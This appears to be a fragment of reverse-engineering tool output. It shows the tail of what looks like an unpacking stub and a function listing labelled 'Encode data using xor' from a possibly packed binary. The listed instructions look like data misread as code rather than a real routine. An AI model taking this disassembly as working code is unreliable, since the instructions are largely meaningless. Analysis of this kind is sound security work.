popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x83977b
Capabilities:
Encode data using xor

Disassembly:
call fcn.00861064
pop esp
cli
sbb al, 0x16
mov eax, 0xcca8ae79
fsubr dword [ebx - 0x63]
sub dh, byte [ecx - 0x37]
std
adc eax, 0xf2b27d74
arpl word [ebp - 0x58], dx
pop esi
xor esi, edi
cmp bh, bl
mov dh, 0xbc
jne 0x839781
or byte [ebp - 0x79], dl
ljmp 0x2b8b